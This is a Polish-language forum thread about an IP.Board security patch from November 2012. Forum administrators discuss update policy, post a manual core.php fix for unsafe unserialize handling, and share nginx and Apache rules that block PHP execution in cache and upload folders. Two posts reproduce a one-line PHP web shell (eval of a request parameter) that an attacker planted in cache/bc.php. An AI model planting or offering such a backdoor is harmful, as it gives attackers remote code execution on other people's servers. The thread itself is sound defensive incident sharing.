[IPS News] IP.Board 3.3.x, 3.2.x, oraz 3.1.x łata bezpieczeństwa (6 listopad 2012)

NewsBot · 6 Listopada 2012

25 października 2012 roku, wydaliśmy krytyczną poprawkę zabezpieczeń IP.Board, rozwiązującą problem z serializowaną zawartością. Dziś wydaliśmy poprawkę, która rozszerza ochronę na zagrożone obszary.

Procedury bezpieczeństwa IPS

Kiedy IPS zidentyfikuje problem z zabezpieczeniami, niezwłocznie publikuje poprawkę w celu rozwiązania problemu, tak jak zrobiono to 25 października. W drugiej fazie procedur bezpieczeństwa, poświęcamy czas na zbadanie zagrożonego obszaru oprogramowania jak i innych, korzystających z podobnych funkcjonalności. Ta druga faza, pozwala zapewnić bezpieczeństwa dla Twojej społeczności, przez aktywne wzmacnianie funkcji bezpieczeństwa przed znalezieniem exploita.

Poprawka zabezpieczeń: 6 listopad 2012

Poprawka ta nie wynika z powodu istnienia exploita, jednakże nasz audyt bezpieczeństwa wykrył, że inne obszary oprogramowania mogą zostać wzmocnione na wypadek intruzów lub exploitów. By zapewnić bezpieczeństwo Twojej społeczności: dziś publikujemy krytyczną poprawkę zabezpieczeń

Instrukcje

Dostarczamy łatkę dla IP.Board w wersjach 3.3, 3.2 i 3.1. Mimo że wersja 3.1 nie ma już wsparcia i dla tej wersji wydaliśmy poprawkę, dla wygody klientów, którzy jeszcze nie zaktualizowali skryptu. Klientom posiadającym wersję niższą niż 3.1, doradzamy aktualizację skryptu, by uzyskać dostęp do tej jak i szeregu innych poprawek.

Zastosowanie poprawki jest bardzo proste:

Zidentyfikuj wersję IP.Board którą posiadasz.
Pobierz i rozpakuj odpowiedni plik który jest przeznaczony dla twojej wersji.
Wgraj zawartość do katalogu głównego w którym znajduje się IP.Board

IP.Board 3.3.x

ipb33_nov12.zip 47.08K

IP.Board 3.2.x

ipb32_nov12.zip 46.3K

IP.Board 3.1.x

ipb31_nov12.zip 66.4K

Uwagi:

Ta poprawka zastępuje łatkę wydaną 25 października. Nie ma potrzeby stosowania wcześniejszej łatki, ponieważ ta aktualna zawiera wcześniejsze poprawki jak i szereg innych.
Kiedy zastosujesz poprawkę na swoim forum, komunikat w ACP będzie nadal widoczny, przynajmniej przez tydzień od opublikowania łatki.
Paczki z IP.Board, dostępne przez panel klienta, już zawierają tę poprawkę
Jeśli posiadasz wersję 3.2.x lub 3.1.x i nie korzystasz z bazy danych do oznaczania przeczytanych tematów, wtedy cała zawartość będzie oznaczona jako nieprzeczytana
Jeśli jesteś klientem IPS Hosting, twoje forum będzie zaktualizowane automatycznie.

**Amfidiusz** · 6 Listopada 2012

Znowu Critical Update?

DawPi · 6 Listopada 2012

Nic tylko się cieszyć.

**Jurij** · 6 Listopada 2012

Ja już swoje załatałem. Tylko w tym temacie jakiś error wyskakuje, pobrałem z forum IPS i śmiga

DawPi · 6 Listopada 2012

Już poprawiłem. Dzięki za cynk.

**Amfidiusz** · 6 Listopada 2012

Nie wiem, czy należy wykazywać aż taki hurra optymizm. Oczywiście, dobrze że wynajdują takie kwiatki. Bardziej mnie martwi fakt, że w poprzednich wersjach częstotliwość krytycznych łatek nie była aż tak duża. A oznacza to, że IPS bardziej skupia się na wprowadzaniu nowych udogodnień (co również cieszy) niż na bezpieczeństwie skryptu. Bo nie okłamujmy się, oni sami tego nie znaleźli, tylko ktoś im podał te luki na tacy. Muszą więc pomyśleć na zatrudnieniu nowego speca od zabezpieczeń albo ludzie przestaną aktualizować swoje skrypty w pierwszych dniach po premierze czekając na odnalezienie wszystkich słabości nowej wersji i ich załatania.

**semenedar** · 6 Listopada 2012

Amfidiuszu, do tej pory (znaczy do niedawna) to byłem akurat hura optymistą i zawsze robiłem update zaraz po tym, jak ukazał się w panelu klienta. Ale teraz wolę jednak trochę poczekać i wiem, że gdy pojawi się 3.4.0 to ...

no nie oszukujmy się. Wszyscy wiedzą że zaraz w trackerze zaroi się od zgłoszeń hura optymistów. Później pojawi się 3.4.1 i w efekcie, to 3.4.3 będzie stabilna. Lepiej poczekać. Łata wrzucona.

DawPi · 6 Listopada 2012

semenedar, ale to już stara zasada związana nie tylko z IP.Board, ale i innymi skryptami.

**semenedar** · 6 Listopada 2012

Tak Dawidzie, ale nowości kuszą, co nie? Kuszą i się chce je mieć. Jeżeli jednak ma się to odbywać kosztem forum, to wolę zaczekać. Jak dotąd mi się zawsze udawało, ale bałbym się rozpieprzyć forum przez aktualizację i potem z mozołem przywracać bazę i pliki.

**Łukasz** · 6 Listopada 2012

Czytac jest o naszym kochanym forum... http://niebezpiecznik.pl/post/paypal-symantec-imageshack-nbc-i-lady-gaga-anonimowi-dzis-hackuja-co-popadnie-i-nie-tylko-oni/

Edytowane 6 Listopada 2012 przez Łukasz

**Amfidiusz** · 6 Listopada 2012

semenedar, nawet nie chodziło mi o naprawę bugów, które pojawiają się wraz z kolejnymi wersjami. Z założenia wersja 3.3.4 nie miała wprowadzać nowych zmian, ale wyeliminować właśnie bugi zgłaszane w trackerze oraz poprawić bezpieczeństwo skryptu. Miała dopracować błędy poprzednich wersji 3.3.X oraz być tą najbezpieczniejszą wersją do użytku. A teraz dostajemy dwa update'y w przeciągu dwóch tygodni. To, że w najnowszej wersji nie zobaczyliśmy żadnych nowych funkcjonalności oznacza, że te krytyczne luki siedziały tam również w poprzednich wersjach i do wydania wersji 3.3.4 powinny zostać wyeliminowane.

EDIT: Chcąc pozostać jednak obiektywnym w tej sprawie muszę zauważyć, że łatka została wprowadzona dla całej serii 3.X. A to oznacza, że albo pojawiły się jakieś nowe narzędzia i IPS szybko na nie zareagował, albo luka była tak mocno schowana, że dopiero teraz udało się komuś ją wykryć.

Edytowane 6 Listopada 2012 przez Amfidiusz

DawPi · 7 Listopada 2012

Radzę sprawdzić dokładnie swoje FTP. Znalazłem sporo syfu w cache/, hooks/, public/, uploads/ oraz w głównym folderze forum.

Więcej info: http://community.invisionpower.com/topic/372259-i-got-hacked-but-how/

**Łukasz** · 7 Listopada 2012

Miałe to samo wchckd.php

**necik** · 7 Listopada 2012

Radzę sprawdzić dokładnie swoje FTP. Znalazłem sporo syfu w cache/, hooks/, public/, uploads/ oraz w głównym folderze forum.

Więcej info: http://community.inv...hacked-but-how/

Ręcznie trzeba sprawdzać FTP, czy może są jakieś modyfikacje, które wyświetlą pliki inne niż standardowo pochodzące z ip.board?

DawPi · 7 Listopada 2012

Niestety ręcznie, ale widzę pliki nie pasujące do reszty - jakieś dziwne nazwy, długi ciągi znaków etc. W razie wątpliwości załóż temat, wklej screeny z podanych wyżej katalogów i będziemy analizować.

**semenedar** · 7 Listopada 2012

U mnie czysto jak u mamy tuż przed Wigilią. Ale po ostatnim ataku który opisałem wraz z narzędziami, piekielnie dbam o bezpieczeństwo, więc to pewnie dlatego. U mnie nie ma syfu w cache, hooks, ani w głównym. Nigdzie.

Macsch15 · 7 Listopada 2012

Manualna aktualizacja pliku core.php do wersji 3.1.x:

Plik: admin\sources\base\core.php

Znajdź:

   /**
    * Returns the class name to be instantiated, the class file will already be included 
    *
    * @param    string     $filePath        File location of the class
    * @param    string    $className        Name of the class
    * @param    string    $app            Application (defaults to 'core')
    * @return    string    Class Name
    */

Dodaj nad tym:

    static public function safeUnserialize( $serialized )
   {
       // unserialize will return false for object declared with small cap o
       // as well as if there is any ws between O and :
       if ( is_string( $serialized ) && strpos( $serialized, "\0" ) === false )
       {
           if ( strpos( $serialized, 'O:' ) === false )
           {
                // the easy case, nothing to worry about
                // let unserialize do the job
                return @unserialize( $serialized );
            }
            else if ( ! preg_match('/(^|;|{|})O:[+\-0-9]+:"/', $serialized ) )
            {
                // in case we did have a string with O: in it,
                // but it was not a true serialized object
                return @unserialize( $serialized );
            }
        }

        return false;
   }

Wyszukaj:

       if ( $iteration >= 20 )
       {
           return $input;
       }

Dodaj pod tym:

       if ( ! is_array( $data ) ) 
       {
           return $input; 
       }

Wyszukaj:

        if ( is_array( $value ) )
       {
           $value = serialize( $value );
       }

Zamień na:

        if ( is_array( $value ) )
       {
           $value = json_encode( $value );
       }

Wyszukaj:

    static public function get($name)
   {
       /* Check internal data first */
       if ( isset( self::$_cookiesSet[ $name ] ) )
       {
           return self::$_cookiesSet[ $name ];
       }
       else if ( isset( $_COOKIE[ipsRegistry::$settings['cookie_id'].$name] ) )
       {
           $_value = $_COOKIE[ ipsRegistry::$settings['cookie_id'].$name ];

           if ( substr( $_value, 0, 2 ) == 'a:' )
           {
               return unserialize( stripslashes( urldecode( $_value ) ) );
           }
           else
           {
               return IPSText::parseCleanValue( urldecode( $_value ) );
           }
       }
       else
       {
           return FALSE;
       }
   }

Zamień na:

       static public function get($name)
   {
       /* Check internal data first */
       if ( isset( self::$_cookiesSet[ $name ] ) )
       {
           return self::$_cookiesSet[ $name ];
       }
          else if ( isset( $_COOKIE[ipsRegistry::$settings['cookie_id'].$name] ) )
          {
           $_value = $_COOKIE[ ipsRegistry::$settings['cookie_id'].$name ];

              $_couldBeJson  = stripslashes( urldecode( $_value ) );
              $_test         = json_decode( $_couldBeJson, true );

              if ( is_array( $_test ) )
              { 
               return IPSLib::parseIncomingRecursively( $_test );
              }
              else
              {
               return IPSText::parseCleanValue( urldecode( $_value ) );
              }
          }
          else
          {
              return FALSE;
          }
   }

Wyszukaj:

    static public function parseCleanKey($key)
   {
       if ( $key == "" )
       {
           return "";
       }

Zamień na:

    static public function parseCleanKey($key)
   {
       if ( $key === "" )
       {
           return "";
       }

Edytowane 7 Listopada 2012 przez Macsch15

DawPi · 7 Listopada 2012

Przeniosłem Twój post w odpowiedniejsze miejsce.

**JackMR** · 7 Listopada 2012

łatki założone...

w /cache miałem:

more cache/bc.php
==============================================================================
URL: /index.php/index.php
Date: Sat, 03 Nov 2012 09:05:00 +0000
IP Address: 50.30.47.87
Time Taken: 0.00015
<?php eval($_REQUEST['x']); ?>
==============================================================================
==============================================================================
=========================	    END	   ===================================
========================= /index.php? ===================================
==============================================================================
==============================================================================
URL: /index.php/index.php
Date: Sat, 03 Nov 2012 09:05:00 +0000
IP Address: 50.30.47.87
Time Taken: 8.0E-5
<?php eval($_REQUEST['x']); ?>
==============================================================================
==============================================================================
=========================	    END	   ===================================
========================= /index.php? ===================================
==============================================================================

ale wg.mnie niedopuszczalne jest, że pehap sobie pisze po głównym katalogu.. Jeśli tak jest to znaczy, że w każdej chwili średnio inteligentny script-kid może Wam podmienić index.php

Weźcie sobie sprawdźcie dobrze prawa do Waszych głównych folderów. Tym bardziej, że w dzisiejszych czasach nie istnieje żaden soft komercyjny który wymaga praw pisania w głownym katalgou public html..

Macsch15 · 7 Listopada 2012

<?php eval($_REQUEST['x']); ?>

**Clubbers** · 9 Listopada 2012

w /cache miałem:

bc.php

też miałem i wygląda, że tylko to było.

**elroy** · 9 Listopada 2012

Jeżeli ktoś używa nginxa to polecam zastosować sobie taką regułę dla swojej domeny z forum, co uchroni już na poziomie serwera przed takimi problemami

location ~* ^/(?:cache|hooks|public/style_css|public/style_images|uploads)/.*\.(?:pl|php[345]*)$ {
access_log off;
log_not_found off;
return 404; # albo 403
}

DawPi · 9 Listopada 2012

Ciekaw jestem czy istnieje podobne zabezpieczenie na apache.

**elroy** · 9 Listopada 2012

Z tego co wiem, popularnyn mechanizmem jest ModSecurity (ale to jak ktoś sam zarządza serwerem) ale na pewno da się to zrobić dyrektywą Directory - zerknę w domu i wrzucę jakiś prosty poradnik.

**elroy** · 9 Listopada 2012

Sorki, że post za postem.

W sumie to to napisałem to wytaczanie działa na mrówki trochę.

Można tak (trzeba oczywiście sprawdzić, ale powinno działać) dodać w .htaccess

RewriteEngine On
RewriteRule cache/(.*).php http://domena.pl/404.html
RewriteRule hooks/(.*).php http://domena.pl/404.html

Albo tak

<Directory /hooks/>
Deny from all
</Directory>

To proste zabepiecznie nie pozwoli wykonywać skryptów w tych katalogach, czyli odpalić jakieś shelle itp.

Zaloguj się

[IPS News] IP.Board 3.3.x, 3.2.x, oraz 3.1.x łata bezpieczeństwa (6 listopad 2012)

Rekomendowane odpowiedzi

NewsBot

Amfidiusz

DawPi

Jurij

DawPi

Amfidiusz

semenedar

DawPi

semenedar

Łukasz

Amfidiusz

DawPi

Łukasz

necik

DawPi

semenedar

Macsch15

DawPi

JackMR

Macsch15

Clubbers

elroy

DawPi

elroy

elroy

Jeśli chcesz dodać odpowiedź, zaloguj się lub zarejestruj nowe konto

Zarejestruj nowe konto

Zaloguj się

Ostatnio przeglądający 0 użytkowników

Pliki

Cała aktywność

Przeglądaj

Powiadomienie o plikach cookie